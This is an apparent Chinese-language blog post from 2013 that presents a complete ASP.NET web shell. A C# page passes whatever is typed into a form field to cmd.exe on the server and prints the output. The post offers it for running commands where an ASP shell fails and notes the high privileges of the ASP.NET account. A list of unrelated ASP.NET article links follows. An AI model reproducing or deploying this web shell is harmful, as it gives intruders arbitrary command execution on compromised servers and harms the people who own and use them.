一个ASP.Net下的WebShell实例

 更新时间:2013年07月24日 11:13:07   作者:  
一个ASP.Net下的WebShell,主要完成cmd命令。一般的服务器设置,asp.net用户的权限都比较高。如果asp的webshell无法执行,可能asp.net的可以执行。
代码如下:
复制代码 代码如下:

<%@ Page Language="C#" AutoEventWireup="true" %>
<%@ Import Namespace="System.Runtime.InteropServices" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.Data" %>
<%@ Import Namespace="System.Reflection" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.Web" %>
<%@ Import Namespace="System.Web.UI" %>
<%@ Import Namespace="System.Web.UI.WebControls" %>
<script runat="server">
protected void exec(object sender, EventArgs e)
{
    string item = cmd.Text;
    Process p = new Process();
    p.StartInfo.FileName = "cmd.exe";
    p.StartInfo.UseShellExecute = false;
    p.StartInfo.RedirectStandardInput = true;
    p.StartInfo.RedirectStandardOutput = true;
    p.StartInfo.RedirectStandardError = true;
    p.StartInfo.CreateNoWindow = true;
    string strOutput = null;
    p.Start();
    p.StandardInput.WriteLine(item);
    p.StandardInput.WriteLine("exit");
    strOutput = p.StandardOutput.ReadToEnd();
    p.WaitForExit();
    p.Close();
    Response.Write("<pre>");
    Response.Write(strOutput);
    Response.Write("</pre>");
}
    protected void Page_Load(object sender, EventArgs e)
    {
    }
</script>
<form id="form1" runat="server">
<asp:TextBox id="cmd" runat="server" Text="dir c:" /><asp:Button id="btn" onclick="exec" runat="server" Text="execute" />
</form>

相关文章

  • Entity Framework Core对Web项目生成数据库表

    Entity Framework Core对Web项目生成数据库表

    这篇文章介绍了Entity Framework Core对Web项目生成数据库表的方法,文中通过示例代码介绍的非常详细。对大家的学习或工作具有一定的参考借鉴价值,需要的朋友可以参考下
    2022-03-03
  • GridView分页的实现(通用分页模板)

    GridView分页的实现(通用分页模板)

    要在GridView中加入AllowPaging=true,一页数据多少行PageSize=10分页时触发的事件OnPageIndexChanging等等,感兴趣的朋友可以了解下本文,希望对你有所帮助
    2013-04-04
  • ASP.NET Core使用GraphQL第一章之Hello World

    ASP.NET Core使用GraphQL第一章之Hello World

    这篇文章主要给大家介绍了关于ASP.NET Core使用GraphQL第一章之Hello World的相关资料,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧
    2018-11-11
  • asp.net gridview中用checkbox全选的几种实现的区别

    asp.net gridview中用checkbox全选的几种实现的区别

    这几天为了改变客户端grid的全选效率问题,详细研究了ext中grid的全选和gridview中通过脚本实现的全选效率,总结一下,供大家参考,有错误的地方,希望大侠指正,小弟献丑了。
    2009-06-06
  • vs.net 2010 扩展插件小结 提高编程效率

    vs.net 2010 扩展插件小结 提高编程效率

    本文价绍了几款Visual Studio提供的插件,提高我们的编程效率。
    2011-03-03
  • 如何使用ASP.NET创建网站并设计web页面

    如何使用ASP.NET创建网站并设计web页面

    这篇文章主要介绍了如何使用ASP.NET创建网站,帮助大家更好的理解和学习使用ASP.NET技术,感兴趣的朋友可以了解下
    2021-04-04
  • mysql安装后.net程序运行出错的解决方法

    mysql安装后.net程序运行出错的解决方法

    这篇文章主要给大家介绍了关于mysql安装后.net程序运行出错的解决方法,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧。
    2018-02-02
  • ASP.NET.4.5.1+MVC5.0设置系统角色与权限(二)

    ASP.NET.4.5.1+MVC5.0设置系统角色与权限(二)

    这篇文章主要介绍了使用ASP.NET.4.5.1+MVC5.0构建项目中设置系统角色的全部过程,十分的详细,附上全部源码,推荐给想学习.net+mvc的小伙伴们
    2015-01-01
  • ASP.NET 2.0 URL映射技巧

    ASP.NET 2.0 URL映射技巧

    ASP.NET 2.0 URL映射技巧...
    2007-01-01
  • asp.net Reporting Service在Web Application中的应用

    asp.net Reporting Service在Web Application中的应用

    由于我们这个项目中使用微软的报表服务(Reporting Services)作为报表输出工具,本人也对它进行一点点研究,虽没有入木三分,但这点知识至少可以在大部分Reporting Service的场景中应用。
    2008-11-11

最新评论